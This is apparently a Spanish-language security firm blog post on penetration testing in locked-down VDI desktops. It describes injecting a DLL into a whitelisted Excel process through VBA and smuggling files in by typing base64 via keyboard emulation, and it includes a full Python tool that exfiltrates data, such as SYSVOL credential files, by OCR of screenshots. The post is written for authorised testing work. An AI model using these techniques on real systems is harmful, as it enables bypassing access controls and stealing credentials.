Cabecera blog ciberseguridad

Pentests en entornos VDI restringidos

Un escenario común durante una auditoría o Test de intrusión es el de iniciarlo desde un entorno VDI, enfocándolo hacia un “qué podría hacer un insider o un atacante que ha robado los credenciales de un trabajador”. Este tipo de entornos suelen contar con ciertas restricciones (mayores o menores) que dificultan las primeras etapas del pentest.

En este artículo se abordarán algunas tácticas que se han seguido en uno de nuestros últimos pentests donde se ha encontrado este tipo de escenario, y adicionalmente se liberará una pequeña herramienta para facilitar la transferencia de archivos y exfiltración de información entre el escritorio remoto y nuestra máquina local.

0x01 – Conseguir una shell en un VDI

El primer paso es obtener una terminal desde la cual poder ejecutar comandos dentro del escritorio virtualizado. De entrada, se comprueba que la ejecución de cmd.exe y powershell.exe está bloqueada. Esta situación en principio limita bastante el rango de maniobra, por lo que se decide comprobar en primera instancia qué otras restricciones se encuentran aplicadas:

  • Bloqueo por lista de blanca de qué aplicaciones pueden ejecutarse en el VDI.
  • No es posible la libre navegación entre directorios a través del explorador de archivos.
  • No se mapean unidades locales del cliente.
  • Está deshabilitado el pass-through de dispositivos (USB, serial…).
  • El portapapeles no se comparte entre máquina cliente y VDI.
  • No se dispone de conexión a internet desde el escritorio remoto.

En resumen, no se puede ejecutar ningún programa de terceros ni tampoco se puede -de forma directa- transferir ficheros entre el host y el VDI. De lo que sí dispone el entorno es de un notepad y un excel. Y en el excel se puede habilitar la cinta de opciones de Desarrollador.

Como ya se pudo ver en una entrada anterior de este blog, es posible interactuar con las APIs del sistema directamente desde VBA. Ejecutar código a través de VBA abre un gran abanico de posibilidades, pero puede volverse algo ortopédico trabajar construyendo macros para cada funcionalidad que se desee. Lo ideal sería utilizar una primera macro para inyectar en el propio proceso del excel (u otro) una pequeña porción de código encargada de cargar una DLL ​custom. Como el proceso del excel se encuentra dentro de la lista blanca, se puede parasitar para fines maliciosos.

En cuanto a qué debe de contener la DLL que se va a cargar en el proceso, se puede plantear en dos vertientes diferentes. La primera opción es seguir la idea de Didier Stevens de construir un cmd.dll modificando ligeramente el código del cmd de ReactOS. Ésta es una técnica rápida de implementar, pues sólo requiere de unas modificaciones mínimas y de compilar para la plataforma deseada. La segunda opción es construir nuestro propio “cmd on steroids” añadiendo comandos que automatizan ciertas tareas (por ejemplo comprobar posibles contraseñas en el SYSVOL, enumerar información del dominio, etc.).

DLL inyectada dentro de Excel

DLL inyectada dentro de Excel

Cualquiera de las dos opciones requieren solventar previamente un gran problema: transferir el archivo desde nuestra máquina al VDI. No se puede mapear una unidad local, ni descargar la DLL desde Internet. Tampoco se puede utilizar el portapapeles como intermediario. ¿Qué opción nos queda?

0x02 – Escribiendo (literalmente) archivos en el VDI

Cuando todas las puertas se encuentran cerradas, toca abrir las ventanas. La única vía para poder introducir nuestros archivos en el VDI es escribiendolos, carácter a carácter, como base64 en el notepad. A través de la emulación del teclado, y utilizando base64 como codificación, se puede transferir el contenido de un archivo alojado en nuestra máquina local al escritorio remoto. De esta forma se logra evadir todas las restricciones impuestas al entorno.

Una vez el fichero es escrito en texto plano dentro del notepad, sólo resta guardarlo y decodificarlo para obtener la DLL original. El proceso de decodificación es posible realizarlo bien a través de una macro VBA (que debería de transferirse repitiendo el método) o bien aprovechando la utilidad certutil que viene instalada en todos los Windows.

Para la emulación de las pulsaciones del teclado existen numerosas utilidades disponibles, en nuestro caso se ha utilizado la librería pyautogui. Una implementación muy primitiva y tosca de la idea es la siguiente:

  1. Abrir el fichero que se quiera transferir en modo binario
  2. Codificar la información en base64
  3. Escribir el resultado obtenido en el VDI utilizando la librería pyautogui emulando una interacción “normal” del teclado

Con la DLL en la máquina objetivo ya se puede cargar y utilizar para continuar con el pentest. De igual forma, cualquier otra herramienta podrá ser descargada en el VDI a través de este método. Sólo hay que tener en cuenta que, debido a la lista blanca, se deben modificar y compilar en forma de DLLs.

Si bien este escollo ha sido fácilmente solventado, aún queda otro obstáculo que salvar. ¿Cómo exfiltrar la información del VDI hacia nuestra máquina?

0x03 – Exfiltrando información de un entorno VDI

Los mismos problemas para introducir ficheros en la máquina se tienen para sacarlos fuera. Y no sólo eso: no se dispone del portapapeles para copiar información crucial. Supongamos que queremos exportar unos XMLs que se han localizado en el SYSVOL y que contienen credenciales útiles para realizar el movimiento lateral. O que se encuentran unos certificados que posteriormente servirán para conectarse a la red wifi. ¿Cómo se puede trabajar con ellos fácilmente?

Nuestra táctica para enfrentar este problema pasa por utilizar el reconocimiento óptico de caracteres para convertir la información que se visualiza en el escritorio remoto del VDI a texto. Existe software muy potente a nuestra disposición que permite realizar esta operación de forma automática. En nuestro caso se optó por utilizar Tesseract, ya que existe una gran cantidad de información y bindings para diferentes lenguajes.

La metodología a seguir es bastante simple. Se abre una ventana nueva del notepad a pantalla completa, y se pega en ella el contenido que se desea exfiltrar (en el caso de datos binarios o de caracteres problemáticos para el OCR se debe de codificar en base64). Al principio y al final del texto objetivo se añaden marcas (una palabra clave) que faciliten posteriormente el procesado. Una vez realizado este paso, se procede a lanzar el script encargado de realizar las siguientes acciones:

  1. Tomar un screenshot de la región indicada (posición X,Y y tamaño)
  2. Convertir el screenshot en texto
  3. Comprobar si en el texto está la marca de final
  4. Si no está la marca, emular la pulsación de “pagedown” y volver al punto 1
  5. Si está la marca, terminar

Cabe destacar que Tesseract puede fallar con algunas fuentes y tamaños de caracteres, por lo que se recomienda cambiarlas hasta que se tengan los resultados esperados. A continuación se muestra el script que se ha estado utilizando en nuestros pentests y que automatiza lo expuesto en los epígrafes anteriores: transferir ficheros de local al VDI y viceversa.

0x04 – F-Isolation: herramienta para pentests VDI

La herramienta es un gran quick’n’dirty que utiliza pyautogui y pytesseract para la automatización de las tareas. Por supuesto es mejorable, el objetivo de mostrarla en este breve artículo es la de plasmar lo comentado en algo tangible y que pueda ser adaptado y usado por el público cuando se enfrenten a pentests de esta índole. Confiamos que sea de utilidad.

#!/usr/bin/python
#coding: utf-8

# F-Isolation v0.1 - F**k isolated enviroments

# Because we hate that kind of pentests where you start at an isolated citrix where our
# clipboard is useless, we do not have internet access inside the machine and we can not
# map a local resource to upload our tools.

# OCR + Keyboard emulation FTW!


import argparse
import pyautogui
import pytesseract
import time
import sys
import os.path
import base64

from PIL import Image
from tqdm import tqdm


def banner():
  print '''
 ██████╗    ██╗███████╗ ██████╗ ██╗      █████╗ ████████╗██╗ ██████╗ ███╗   ██╗
██╔════╝    ██║██╔════╝██╔═══██╗██║     ██╔══██╗╚══██╔══╝██║██╔═══██╗████╗  ██║
█████╗█████╗██║███████╗██║   ██║██║     ███████║   ██║   ██║██║   ██║██╔██╗ ██║
██╔══╝╚════╝██║╚════██║██║   ██║██║     ██╔══██║   ██║   ██║██║   ██║██║╚██╗██║
██║         ██║███████║╚██████╔╝███████╗██║  ██║   ██║   ██║╚██████╔╝██║ ╚████║
╚═╝         ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝

   by X-C3LL & SoA
'''

startpoint = "[HERE-STARTS]"
stoppoint = "[HERE-STOPS]"

# Convert image object to string and return the text
def imageToString(image):
  text = pytesseract.image_to_string(image)
  return text

# Take a screenshot of notepad
def takeScreenshot(y,sizex,sizey):
  im = pyautogui.screenshot(region=(0,y,sizex,sizey))
  return im

# Extract the text
def extractInfo(text):
  return text[text.index(startpoint) + len(startpoint):text.index(stoppoint)]

def exfiltrate():
  print "[+] Starting the transfer!"
  finalText = ""
  while 1:
    currentText = imageToString(takeScreenshot(args.axisy, args.sizex,args.sizey))
    try:
      currentText.index(stoppoint)
      finalText = finalText + currentText
      break
    except:
      finalText = finalText + currentText
      pyautogui.press('pagedown')
  print "[+] Transfer finished!"
  return extractInfo(''.join(finalText.split("\n")))

#Read file in binary mode
def read_file_b(input_f):
  if os.path.isfile(input_f):
    try:
      with open(input_f, 'rb') as f:
        data = f.read()
    except:
      print "[!] Error. File could not be opened in 'rb' mode!"
  else:
    print "[!] Input file does not exist!"
    exit(-1)
  print "[+] Read the file!"
  return data

#Emulate keyboard
def keyboard_action(data, interval):
  if '\n' in data: #in case multiline data to help visualize progress
    data = data.split('\n')
    for line in tqdm(data):
      pyautogui.typewrite(line, interval=interval)
      pyautogui.press('return') #enter
  else:
    pyautogui.typewrite(data, interval=interval)
  print "[+] Finished writing with keyboard!"

#save output to file
def dump_info(output_f, data):
  if not os.path.isfile(output_f):
    try:
      with open(output_f, 'wb') as outfile:
        outfile.writelines(data)
        print "[+] Information saved to "+ str(output_f) +"!"
    except:
      print "[!] Error. Could not write to output file!"
      exit(-1)
  else:
    print "[!] File already exists!"
    exit(-1)

#timeout before keyboard emulation
def time_out_k(time_out):
  for i in reversed(xrange(1,time_out+1)): 
    sys.stdout.write("[+] Sleeping for "+str(i)+'s...\r')
    sys.stdout.flush()
    time.sleep(1)
  print ""

#b64 encode data
def tranform_to_b64(data):
  return base64.b64encode(data)

# Parameters for "exfiltration"
parser = argparse.ArgumentParser()
parser.add_argument("--exfiltrate", dest="ofile", help="File where to save extracted data")
parser.add_argument("--axisy", dest="axisy", help="Screenshot starting point")
parser.add_argument("--sizey", dest="sizey", help="Size of screenshot (Y Axis)")
parser.add_argument("--sizex", dest="sizex", help="Size of screenshot (X Axis)")

#Parameters for "infiltration"
parser.add_argument('-k', "--keyboard",  action="store_true", default=False, help="Use keyboard (if not present, saves to file)")
parser.add_argument("-i", "--input", help="Input file to transfer")
parser.add_argument("-t", "--timeout", type=int, default=5,
          help="Timeout before writing with keyboard (default 5s)")
parser.add_argument("-int", "--interval", type=float, default=0.0,
          help="Interval between keypresses (default pyautogui 0.0s)")
parser.add_argument('-b64', "--base64",  action="store_true", default=False, help="Encode payload as base64 (default False)")
parser.add_argument("-o", "--output", help="Output file (debug)")

args = parser.parse_args()


# Main
banner()

if args.ofile: #exfiltration
  if args.axisy and args.sizey and args.sizex:
    print "==========\n Exfiltration mode\n==========\n"
    time_out_k(args.timeout)	
    data = exfiltrate()
    dump_info(args.ofile, data)

elif args.input: #infiltration
  print "==========\n Infiltration mode\n==========\n"
  data = read_file_b(args.input)
  if args.base64:
    data = tranform_to_b64(data)
  if args.keyboard:
    time_out_k(args.timeout)
    keyboard_action(data, args.interval)
  if args.output:
    dump_info(args.output, data)
  
else:
  print "[!] Wrong operation mode :("

0x05 – Conclusión del análisis de un entorno VDI restringido

Incluso cuando un correcto bastionado es realizado en un entorno VDI, siempre existe una posibilidad de, utilizando la imaginación, conseguir vulnerar  las medidas adoptadas.

Me gustaría agradecer a XC3LL por la ayuda y la redacción de este artículo.

Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/

En TarlogicTeo y en TarlogicMadrid.